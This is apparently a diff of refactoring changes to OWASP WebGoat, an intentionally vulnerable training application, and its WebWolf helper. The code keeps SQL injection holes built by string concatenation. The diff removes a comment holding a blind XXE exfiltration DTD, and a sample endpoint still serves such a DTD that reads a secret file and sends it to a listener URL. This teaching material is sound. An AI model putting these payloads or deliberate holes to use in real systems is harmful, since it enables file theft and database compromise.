@ -62,8 +61,8 @@ public class SqlInjectionLesson5b extends AssignmentEndpoint {
|
||||
try {
|
||||
count = Integer.parseInt(login_count);
|
||||
} catch (Exception e) {
|
||||
return trackProgress(failed().output("Could not parse: " + login_count + " to a number" +
|
||||
"<br> Your query was: " + queryString.replace("?", login_count)).build());
|
||||
return trackProgress(failed().output("Could not parse: " + login_count + " to a number"
|
||||
+ "<br> Your query was: " + queryString.replace("?", login_count)).build());
|
||||
}
|
||||
|
||||
query.setInt(1, count);
|
||||
@ -87,8 +86,6 @@ public class SqlInjectionLesson5b extends AssignmentEndpoint {
|
||||
|
||||
} else {
|
||||
return trackProgress(failed().feedback("sql-injection.5b.no.results").output("Your query was: " + queryString.replace("?", login_count)).build());
|
||||
|
||||
// output.append(getLabelManager().get("NoResultsMatched"));
|
||||
}
|
||||
} catch (SQLException sqle) {
|
||||
|
||||
|
@ -130,11 +130,11 @@ public class SqlInjectionLesson8 extends AssignmentEndpoint {
|
||||
SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
|
||||
String time = sdf.format(cal.getTime());
|
||||
|
||||
String log_query = "INSERT INTO access_log (time, action) VALUES ('" + time + "', '" + action + "')";
|
||||
String logQuery = "INSERT INTO access_log (time, action) VALUES ('" + time + "', '" + action + "')";
|
||||
|
||||
try {
|
||||
Statement statement = connection.createStatement(TYPE_SCROLL_SENSITIVE, CONCUR_UPDATABLE);
|
||||
statement.executeUpdate(log_query);
|
||||
statement.executeUpdate(logQuery);
|
||||
} catch (SQLException e) {
|
||||
System.err.println(e.getMessage());
|
||||
}
|
||||
|
@ -22,10 +22,10 @@
|
||||
|
||||
package org.owasp.webgoat.sql_injection.mitigation;
|
||||
|
||||
import com.google.common.collect.Lists;
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.Getter;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.springframework.http.MediaType;
|
||||
import org.springframework.web.bind.annotation.*;
|
||||
|
||||
@ -33,6 +33,8 @@ import javax.sql.DataSource;
|
||||
import java.sql.Connection;
|
||||
import java.sql.PreparedStatement;
|
||||
import java.sql.ResultSet;
|
||||
import java.sql.SQLException;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
|
||||
/**
|
||||
@ -41,6 +43,7 @@ import java.util.List;
|
||||
*/
|
||||
@RestController
|
||||
@RequestMapping("SqlInjectionMitigations/servers")
|
||||
@Slf4j
|
||||
public class Servers {
|
||||
|
||||
private final DataSource dataSource;
|
||||
@ -62,17 +65,20 @@ public class Servers {
|
||||
}
|
||||
|
||||
@GetMapping(produces = MediaType.APPLICATION_JSON_VALUE)
|
||||
@SneakyThrows
|
||||
@ResponseBody
|
||||
public List<Server> sort(@RequestParam String column) {
|
||||
Connection connection = dataSource.getConnection();
|
||||
PreparedStatement preparedStatement = connection.prepareStatement("select id, hostname, ip, mac, status, description from servers where status <> 'out of order' order by " + column);
|
||||
List<Server> servers = new ArrayList<>();
|
||||
|
||||
try (Connection connection = dataSource.getConnection();
|
||||
PreparedStatement preparedStatement = connection.prepareStatement("select id, hostname, ip, mac, status, description from servers where status <> 'out of order' order by " + column)) {
|
||||
ResultSet rs = preparedStatement.executeQuery();
|
||||
List<Server> servers = Lists.newArrayList();
|
||||
while (rs.next()) {
|
||||
Server server = new Server(rs.getString(1), rs.getString(2), rs.getString(3), rs.getString(4), rs.getString(5), rs.getString(6));
|
||||
servers.add(server);
|
||||
}
|
||||
} catch (SQLException e) {
|
||||
log.error("Unable to get servers", e);
|
||||
}
|
||||
return servers;
|
||||
}
|
||||
|
||||
|
@ -49,21 +49,21 @@ public class SqlInjectionLesson10b extends AssignmentEndpoint {
|
||||
|
||||
editor = editor.replaceAll("\\<.*?>", "");
|
||||
|
||||
String regex_setsUpConnection = "(?=.*getConnection.*)";
|
||||
String regex_usesPreparedStatement = "(?=.*PreparedStatement.*)";
|
||||
String regex_usesPlaceholder = "(?=.*\\=\\?.*|.*\\=\\s\\?.*)";
|
||||
String regex_usesSetString = "(?=.*setString.*)";
|
||||
String regex_usesExecute = "(?=.*execute.*)";
|
||||
String regex_usesExecuteUpdate = "(?=.*executeUpdate.*)";
|
||||
String regexSetsUpConnection = "(?=.*getConnection.*)";
|
||||
String regexUsesPreparedStatement = "(?=.*PreparedStatement.*)";
|
||||
String regexUsesPlaceholder = "(?=.*\\=\\?.*|.*\\=\\s\\?.*)";
|
||||
String regexUsesSetString = "(?=.*setString.*)";
|
||||
String regexUsesExecute = "(?=.*execute.*)";
|
||||
String regexUsesExecuteUpdate = "(?=.*executeUpdate.*)";
|
||||
|
||||
String codeline = editor.replace("\n", "").replace("\r", "");
|
||||
|
||||
boolean setsUpConnection = this.check_text(regex_setsUpConnection, codeline);
|
||||
boolean usesPreparedStatement = this.check_text(regex_usesPreparedStatement, codeline);
|
||||
boolean usesSetString = this.check_text(regex_usesSetString, codeline);
|
||||
boolean usesPlaceholder = this.check_text(regex_usesPlaceholder, codeline);
|
||||
boolean usesExecute = this.check_text(regex_usesExecute, codeline);
|
||||
boolean usesExecuteUpdate = this.check_text(regex_usesExecuteUpdate, codeline);
|
||||
boolean setsUpConnection = this.check_text(regexSetsUpConnection, codeline);
|
||||
boolean usesPreparedStatement = this.check_text(regexUsesPreparedStatement, codeline);
|
||||
boolean usesSetString = this.check_text(regexUsesSetString, codeline);
|
||||
boolean usesPlaceholder = this.check_text(regexUsesPlaceholder, codeline);
|
||||
boolean usesExecute = this.check_text(regexUsesExecute, codeline);
|
||||
boolean usesExecuteUpdate = this.check_text(regexUsesExecuteUpdate, codeline);
|
||||
|
||||
boolean hasImportant = (setsUpConnection && usesPreparedStatement && usesPlaceholder && usesSetString && (usesExecute || usesExecuteUpdate));
|
||||
List<Diagnostic> hasCompiled = this.compileFromString(editor);
|
||||
@ -79,7 +79,7 @@ public class SqlInjectionLesson10b extends AssignmentEndpoint {
|
||||
} else {
|
||||
return trackProgress(failed().feedback("sql-injection.10b.failed").build());
|
||||
}
|
||||
} catch(Exception e) {
|
||||
} catch (Exception e) {
|
||||
return trackProgress(failed().output(e.getMessage()).build());
|
||||
}
|
||||
}
|
||||
@ -96,12 +96,12 @@ public class SqlInjectionLesson10b extends AssignmentEndpoint {
|
||||
return diagnostics;
|
||||
}
|
||||
|
||||
private SimpleJavaFileObject getJavaFileContentsAsString(String s){
|
||||
private SimpleJavaFileObject getJavaFileContentsAsString(String s) {
|
||||
StringBuilder javaFileContents = new StringBuilder("import java.sql.*; public class TestClass { static String DBUSER; static String DBPW; static String DBURL; public static void main(String[] args) {" + s + "}}");
|
||||
JavaObjectFromString javaFileObject = null;
|
||||
try{
|
||||
try {
|
||||
javaFileObject = new JavaObjectFromString("TestClass.java", javaFileContents.toString());
|
||||
}catch(Exception exception){
|
||||
} catch (Exception exception) {
|
||||
exception.printStackTrace();
|
||||
}
|
||||
return javaFileObject;
|
||||
@ -109,10 +109,12 @@ public class SqlInjectionLesson10b extends AssignmentEndpoint {
|
||||
|
||||
class JavaObjectFromString extends SimpleJavaFileObject {
|
||||
private String contents = null;
|
||||
public JavaObjectFromString(String className, String contents) throws Exception{
|
||||
|
||||
public JavaObjectFromString(String className, String contents) throws Exception {
|
||||
super(new URI(className), Kind.SOURCE);
|
||||
this.contents = contents;
|
||||
}
|
||||
|
||||
public CharSequence getCharContent(boolean ignoreEncodingErrors) throws IOException {
|
||||
return contents;
|
||||
}
|
||||
@ -121,7 +123,7 @@ public class SqlInjectionLesson10b extends AssignmentEndpoint {
|
||||
private boolean check_text(String regex, String text) {
|
||||
Pattern p = Pattern.compile(regex, Pattern.CASE_INSENSITIVE);
|
||||
Matcher m = p.matcher(text);
|
||||
if(m.find())
|
||||
if (m.find())
|
||||
return true;
|
||||
else return false;
|
||||
}
|
||||
|
@ -36,6 +36,7 @@ import javax.sql.DataSource;
|
||||
import java.sql.Connection;
|
||||
import java.sql.PreparedStatement;
|
||||
import java.sql.ResultSet;
|
||||
import java.sql.SQLException;
|
||||
|
||||
@RestController
|
||||
@AssignmentHints(value = {"SqlStringInjectionHint-mitigation-12a-1", "SqlStringInjectionHint-mitigation-12a-2", "SqlStringInjectionHint-mitigation-12a-3", "SqlStringInjectionHint-mitigation-12a-4"})
|
||||
@ -50,10 +51,9 @@ public class SqlInjectionLesson12a extends AssignmentEndpoint {
|
||||
|
||||
@PostMapping("/SqlInjectionMitigations/attack12a")
|
||||
@ResponseBody
|
||||
@SneakyThrows
|
||||
public AttackResult completed(@RequestParam String ip) {
|
||||
try (Connection connection = dataSource.getConnection()) {
|
||||
PreparedStatement preparedStatement = connection.prepareStatement("select ip from servers where ip = ? and hostname = ?");
|
||||
try (Connection connection = dataSource.getConnection();
|
||||
PreparedStatement preparedStatement = connection.prepareStatement("select ip from servers where ip = ? and hostname = ?")) {
|
||||
preparedStatement.setString(1, ip);
|
||||
preparedStatement.setString(2, "webgoat-prd");
|
||||
ResultSet resultSet = preparedStatement.executeQuery();
|
||||
@ -61,6 +61,9 @@ public class SqlInjectionLesson12a extends AssignmentEndpoint {
|
||||
return trackProgress(success().build());
|
||||
}
|
||||
return trackProgress(failed().build());
|
||||
} catch (SQLException e) {
|
||||
log.error("Failed", e);
|
||||
return trackProgress(failed().build());
|
||||
}
|
||||
}
|
||||
}
|
@ -1,19 +1,22 @@
|
||||
package org.owasp.webgoat.xxe;
|
||||
|
||||
import com.google.common.base.Charsets;
|
||||
import com.google.common.io.Files;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||
import org.owasp.webgoat.assignments.AssignmentHints;
|
||||
import org.owasp.webgoat.assignments.AssignmentPath;
|
||||
import org.owasp.webgoat.assignments.AttackResult;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.beans.factory.annotation.Value;
|
||||
import org.springframework.http.MediaType;
|
||||
import org.springframework.web.bind.annotation.*;
|
||||
import org.springframework.web.bind.annotation.PostMapping;
|
||||
import org.springframework.web.bind.annotation.RequestBody;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
import javax.annotation.PostConstruct;
|
||||
import java.io.File;
|
||||
import java.io.IOException;
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.nio.file.Files;
|
||||
|
||||
import static org.apache.commons.lang3.RandomStringUtils.randomAlphabetic;
|
||||
|
||||
@ -46,8 +49,9 @@ import static org.apache.commons.lang3.RandomStringUtils.randomAlphabetic;
|
||||
* @version $Id: $Id
|
||||
* @since November 18, 2016
|
||||
*/
|
||||
@Slf4j
|
||||
@RestController
|
||||
@AssignmentHints({"xxe.blind.hints.1","xxe.blind.hints.2","xxe.blind.hints.3","xxe.blind.hints.4","xxe.blind.hints.5"})
|
||||
@AssignmentHints({"xxe.blind.hints.1", "xxe.blind.hints.2", "xxe.blind.hints.3", "xxe.blind.hints.4", "xxe.blind.hints.5"})
|
||||
public class BlindSendFileAssignment extends AssignmentEndpoint {
|
||||
|
||||
static final String CONTENTS = "WebGoat 8.0 rocks... (" + randomAlphabetic(10) + ")";
|
||||
@ -57,13 +61,16 @@ public class BlindSendFileAssignment extends AssignmentEndpoint {
|
||||
private Comments comments;
|
||||
|
||||
@PostConstruct
|
||||
@SneakyThrows
|
||||
public void createSecretFileWithRandomContents() {
|
||||
File targetDirectory = new File(webGoatHomeDirectory, "/XXE");
|
||||
if (!targetDirectory.exists()) {
|
||||
targetDirectory.mkdir();
|
||||
}
|
||||
Files.write(CONTENTS, new File(targetDirectory, "secret.txt"), Charsets.UTF_8);
|
||||
try {
|
||||
Files.writeString(new File(targetDirectory, "secret.txt").toPath(), CONTENTS, StandardCharsets.UTF_8);
|
||||
} catch (IOException e) {
|
||||
log.error("Unable to write 'secret.txt' to '{}", targetDirectory);
|
||||
}
|
||||
}
|
||||
|
||||
@PostMapping(path = "xxe/blind", consumes = MediaType.ALL_VALUE, produces = MediaType.APPLICATION_JSON_VALUE)
|
||||
@ -82,46 +89,4 @@ public class BlindSendFileAssignment extends AssignmentEndpoint {
|
||||
}
|
||||
return trackProgress(failed().build());
|
||||
}
|
||||
|
||||
/**
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE comment [
|
||||
<!ENTITY % remote SYSTEM "http://localhost:9090/files/admin2/attack.dtd">
|
||||
%remote;
|
||||
]>
|
||||
<comment> <text>test&send;</text></comment>
|
||||
**/
|
||||
/**
|
||||
* Solution:
|
||||
*
|
||||
* Create DTD:
|
||||
*
|
||||
* <pre>
|
||||
* <?xml version="1.0" encoding="UTF-8"?>
|
||||
* <!ENTITY % file SYSTEM "file:///c:/windows-version.txt">
|
||||
* <!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:9090/ping?text=%file;'>">
|
||||
* %all;
|
||||
* </pre>
|
||||
*
|
||||
* This will be reduced to:
|
||||
*
|
||||
* <pre>
|
||||
* <!ENTITY send SYSTEM 'http://localhost:9090/ping?text=[contents_file]'>
|
||||
* </pre>
|
||||
*
|
||||
* Wire it all up in the xml send to the server:
|
||||
*
|
||||
* <pre>
|
||||
* <?xml version="1.0"?>
|
||||
* <!DOCTYPE root [
|
||||
* <!ENTITY % remote SYSTEM "http://localhost:9090/WebWolf/files/test.dtd">
|
||||
* %remote;
|
||||
* ]>
|
||||
* <user>
|
||||
* <username>test&send;</username>
|
||||
* </user>
|
||||
*
|
||||
* </pre>
|
||||
*
|
||||
*/
|
||||
}
|
||||
|
@ -24,8 +24,6 @@ package org.owasp.webgoat.xxe;
|
||||
|
||||
import com.beust.jcommander.internal.Lists;
|
||||
import com.fasterxml.jackson.databind.ObjectMapper;
|
||||
import com.google.common.collect.EvictingQueue;
|
||||
import com.google.common.collect.Maps;
|
||||
import org.joda.time.DateTime;
|
||||
import org.joda.time.format.DateTimeFormat;
|
||||
import org.joda.time.format.DateTimeFormatter;
|
||||
@ -40,10 +38,7 @@ import javax.xml.stream.XMLInputFactory;
|
||||
import javax.xml.stream.XMLStreamReader;
|
||||
import java.io.IOException;
|
||||
import java.io.StringReader;
|
||||
import java.util.Collection;
|
||||
import java.util.Comparator;
|
||||
import java.util.Map;
|
||||
import java.util.Optional;
|
||||
import java.util.*;
|
||||
import java.util.stream.Collectors;
|
||||
|
||||
import static java.util.Optional.empty;
|
||||
@ -62,8 +57,8 @@ public class Comments {
|
||||
|
||||
protected static DateTimeFormatter fmt = DateTimeFormat.forPattern("yyyy-MM-dd, HH:mm:ss");
|
||||
|
||||
private static final Map<String, EvictingQueue<Comment>> userComments = Maps.newHashMap();
|
||||
private static final EvictingQueue<Comment> comments = EvictingQueue.create(100);
|
||||
private static final Map<String, List<Comment>> userComments = new HashMap<>();
|
||||
private static final List<Comment> comments = new ArrayList<>();
|
||||
|
||||
static {
|
||||
comments.add(new Comment("webgoat", DateTime.now().toString(fmt), "Silly cat...."));
|
||||
@ -110,7 +105,7 @@ public class Comments {
|
||||
if (visibleForAllUsers) {
|
||||
comments.add(comment);
|
||||
} else {
|
||||
EvictingQueue<Comment> comments = userComments.getOrDefault(webSession.getUserName(), EvictingQueue.create(100));
|
||||
List<Comment> comments = userComments.getOrDefault(webSession.getUserName(), new ArrayList<>());
|
||||
comments.add(comment);
|
||||
userComments.put(webSession.getUserName(), comments);
|
||||
}
|
||||
|
@ -38,8 +38,8 @@ import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE;
|
||||
@AssignmentHints({"xxe.hints.content.type.xxe.1", "xxe.hints.content.type.xxe.2"})
|
||||
public class ContentTypeAssignment extends AssignmentEndpoint {
|
||||
|
||||
private final static String[] DEFAULT_LINUX_DIRECTORIES = {"usr", "etc", "var"};
|
||||
private final static String[] DEFAULT_WINDOWS_DIRECTORIES = {"Windows", "Program Files (x86)", "Program Files"};
|
||||
private static final String[] DEFAULT_LINUX_DIRECTORIES = {"usr", "etc", "var"};
|
||||
private static final String[] DEFAULT_WINDOWS_DIRECTORIES = {"Windows", "Program Files (x86)", "Program Files"};
|
||||
|
||||
@Value("${webgoat.server.directory}")
|
||||
private String webGoatHomeDirectory;
|
||||
|
@ -40,11 +40,6 @@ public class Ping {
|
||||
@Autowired
|
||||
private WebSession webSession;
|
||||
|
||||
// @Override
|
||||
// public String getPath() {
|
||||
// return "XXE/ping";
|
||||
// }
|
||||
|
||||
@RequestMapping(method = RequestMethod.GET)
|
||||
@ResponseBody
|
||||
public String logRequest(@RequestHeader("User-Agent") String userAgent, @RequestParam(required = false) String text) {
|
||||
|
@ -48,8 +48,8 @@ import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE;
|
||||
@AssignmentHints({"xxe.hints.simple.xxe.1", "xxe.hints.simple.xxe.2", "xxe.hints.simple.xxe.3", "xxe.hints.simple.xxe.4", "xxe.hints.simple.xxe.5", "xxe.hints.simple.xxe.6"})
|
||||
public class SimpleXXE extends AssignmentEndpoint {
|
||||
|
||||
private final static String[] DEFAULT_LINUX_DIRECTORIES = {"usr", "etc", "var"};
|
||||
private final static String[] DEFAULT_WINDOWS_DIRECTORIES = {"Windows", "Program Files (x86)", "Program Files"};
|
||||
private static final String[] DEFAULT_LINUX_DIRECTORIES = {"usr", "etc", "var"};
|
||||
private static final String[] DEFAULT_WINDOWS_DIRECTORIES = {"Windows", "Program Files (x86)", "Program Files"};
|
||||
|
||||
@Value("${webgoat.server.directory}")
|
||||
private String webGoatHomeDirectory;
|
||||
@ -86,19 +86,19 @@ public class SimpleXXE extends AssignmentEndpoint {
|
||||
return success;
|
||||
}
|
||||
|
||||
@RequestMapping(path="/xxe/tmpdir",consumes = ALL_VALUE, produces=MediaType.TEXT_PLAIN_VALUE)
|
||||
@RequestMapping(path = "/xxe/tmpdir", consumes = ALL_VALUE, produces = MediaType.TEXT_PLAIN_VALUE)
|
||||
@ResponseBody
|
||||
public String getWebGoatHomeDirectory() {
|
||||
return webGoatHomeDirectory;
|
||||
}
|
||||
|
||||
@RequestMapping(path="/xxe/sampledtd",consumes = ALL_VALUE, produces=MediaType.TEXT_PLAIN_VALUE)
|
||||
@RequestMapping(path = "/xxe/sampledtd", consumes = ALL_VALUE, produces = MediaType.TEXT_PLAIN_VALUE)
|
||||
@ResponseBody
|
||||
public String getSampleDTDFile() {
|
||||
return "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
|
||||
"<!ENTITY % file SYSTEM \"file:replace-this-by-webgoat-temp-directory/XXE/secret.txt\">\n" +
|
||||
"<!ENTITY % all \"<!ENTITY send SYSTEM 'http://replace-this-by-webwolf-base-url/landing?text=%file;'>\">\n" +
|
||||
"%all;";
|
||||
return "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n"
|
||||
+ "<!ENTITY % file SYSTEM \"file:replace-this-by-webgoat-temp-directory/XXE/secret.txt\">\n"
|
||||
+ "<!ENTITY % all \"<!ENTITY send SYSTEM 'http://replace-this-by-webwolf-base-url/landing?text=%file;'>\">\n"
|
||||
+ "%all;";
|
||||
}
|
||||
|
||||
}
|
||||
|
@ -22,6 +22,7 @@
|
||||
* projects.
|
||||
* <p>
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat;
|
||||
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
|
@ -22,11 +22,8 @@
|
||||
|
||||
package org.owasp.webwolf;
|
||||
|
||||
import com.google.common.collect.Lists;
|
||||
import com.google.common.io.Files;
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.Getter;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.apache.commons.io.FileUtils;
|
||||
import org.owasp.webwolf.user.WebGoatUser;
|
||||
@ -35,22 +32,19 @@ import org.springframework.http.MediaType;
|
||||
import org.springframework.security.core.context.SecurityContextHolder;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.ui.ModelMap;
|
||||
import org.springframework.web.bind.annotation.GetMapping;
|
||||
import org.springframework.web.bind.annotation.PostMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RequestParam;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
import org.springframework.web.bind.annotation.*;
|
||||
import org.springframework.web.multipart.MultipartFile;
|
||||
import org.springframework.web.servlet.ModelAndView;
|
||||
import org.springframework.web.servlet.view.RedirectView;
|
||||
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import java.io.File;
|
||||
import java.io.IOException;
|
||||
import java.nio.file.Files;
|
||||
import java.util.ArrayList;
|
||||
|
||||
import static org.springframework.http.MediaType.ALL_VALUE;
|
||||
|
||||
import java.io.File;
|
||||
import java.util.List;
|
||||
|
||||
/**
|
||||
* Controller for uploading a file
|
||||
*/
|
||||
@ -65,21 +59,20 @@ public class FileServer {
|
||||
@Value("${server.port}")
|
||||
private int port;
|
||||
|
||||
@RequestMapping(path="/tmpdir",consumes = ALL_VALUE, produces=MediaType.TEXT_PLAIN_VALUE)
|
||||
@RequestMapping(path = "/tmpdir", consumes = ALL_VALUE, produces = MediaType.TEXT_PLAIN_VALUE)
|
||||
@ResponseBody
|
||||
public String getFileLocation() {
|
||||
return fileLocation;
|
||||
}
|
||||
|
||||
@PostMapping(value = "/WebWolf/fileupload")
|
||||
@SneakyThrows
|
||||
public ModelAndView importFile(@RequestParam("file") MultipartFile myFile) {
|
||||
public ModelAndView importFile(@RequestParam("file") MultipartFile myFile) throws IOException {
|
||||
WebGoatUser user = (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal();
|
||||
File destinationDir = new File(fileLocation, user.getUsername());
|
||||
destinationDir.mkdirs();
|
||||
myFile.transferTo(new File(destinationDir, myFile.getOriginalFilename()));
|
||||
log.debug("File saved to {}", new File(destinationDir, myFile.getOriginalFilename()));
|
||||
Files.touch(new File(destinationDir, user.getUsername() + "_changed"));
|
||||
Files.createFile(new File(destinationDir, user.getUsername() + "_changed").toPath());
|
||||
|
||||
ModelMap model = new ModelMap();
|
||||
model.addAttribute("uploadSuccess", "File uploaded successful");
|
||||
@ -111,7 +104,7 @@ public class FileServer {
|
||||
}
|
||||
changeIndicatorFile.delete();
|
||||
|
||||
List<UploadedFile> uploadedFiles = Lists.newArrayList();
|
||||
var uploadedFiles = new ArrayList<>();
|
||||
File[] files = destinationDir.listFiles(File::isFile);
|
||||
if (files != null) {
|
||||
for (File file : files) {
|
||||
@ -122,7 +115,7 @@ public class FileServer {
|
||||
}
|
||||
|
||||
modelAndView.addObject("files", uploadedFiles);
|
||||
modelAndView.addObject("webwolf_url", "http://" + server +":" + port);
|
||||
modelAndView.addObject("webwolf_url", "http://" + server + ":" + port);
|
||||
return modelAndView;
|
||||
}
|
||||
}
|
||||
|
@ -22,7 +22,6 @@
|
||||
|
||||
package org.owasp.webwolf.requests;
|
||||
|
||||
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.springframework.http.ResponseEntity;
|
||||
import org.springframework.stereotype.Controller;
|
||||
|
Loading…
x
Reference in New Issue
Block a user